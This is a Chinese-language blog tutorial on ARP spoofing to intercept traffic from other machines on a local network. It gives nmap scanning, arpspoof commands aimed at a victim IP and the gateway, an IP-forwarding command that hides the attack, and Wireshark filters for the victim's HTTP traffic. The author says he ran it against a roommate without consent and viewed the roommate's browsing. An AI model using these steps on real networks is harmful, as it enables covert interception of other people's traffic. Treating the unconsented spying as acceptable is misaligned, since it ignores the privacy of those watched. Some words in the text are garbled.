使用arp欺騙進行同一區域網內的抓包

arp（address resolution protocol，位址解析協議）是獲取實體地址的乙個tcp/ip協議。傳送方用目標ip位址去換取了接收方的mac位址，之後mac位址存放到本地的快取中（在一定的生存期時間內）。

而arp欺騙就是：機器a的mac位址告訴目標機b（目標機b在任意時候都可以接收arp請求的應答），讓目標機b 以為本機才是閘道器，這樣b接收後就會更新本地快取，以後所有本該走到閘道器去的包都會從機器a走，這樣機器a就可以獲取b的資料報了

假設c為閘道器，a為欺騙者，b為被欺騙者，之前是 b->c，而欺騙之後，b->a->c，如果a不進行資料**的話，那麼b就像是斷網一樣

安裝完畢之後在命令列上輸入port進行測試

port

如果說找不到指令，則在命令列或者bash_profile或bashrc中輸入以下內容將其加入到系統路徑中來

export path=/opt/local/bin:/opt/local/sbin:$path

之後安裝arpspoof和nmap

sudo port selfupdate sudo port install nmap # 以下兩條命令二選一，arpspoof都包含在內 sudo port install dsniff-devel sudo port install dsniff

最後如果出現提示叫你執行以下類似命令的話請無視

port select --set python python27

執行命令進行測試

nmap -v arpspoof

需要獲取以下資料執行

sudo nmap -ss 192.168.1.0/24

等一會兒會得到型別下面結果

第乙個192.168.1.1是閘道器位址，最後乙個192.168.1.101是我本機的ip，而從第二個開始就是接入本區域網的其它機器的ip，就用第乙個吧

arpspoof -i en0 -t 192.168.1.100 192.168.1.1 # 開啟ip**，否則的話對方機器會出現斷網的情況，關閉的話把1改為0 sudo sysctl -w net.inet.ip.forwarding=1

開始wireshark開始抓包，把filter設定為ip.addr == 192.168.1.100如果只想抓http的話就這樣寫ip.addr == 192.168.1.100 && http當時比較震驚的是抓到了室友看黃圖的鏈結…

對我的華為榮耀7進行arp欺騙時失敗了，貌似是它有防護措施，多試了幾次發現只有在其剛接入區域網的時候才能欺騙成功，但是想再次進行欺騙也沒成功，對別的ip進行欺騙時也是失敗次數多於成功的

目前https越來越流行，這意味著即使你抓到包了也不知道資料是什麼，它在tcp之上新增了一層ssl，搜了一下破解的方法也只是定向的，泛用型不好，不過這樣更安全也不錯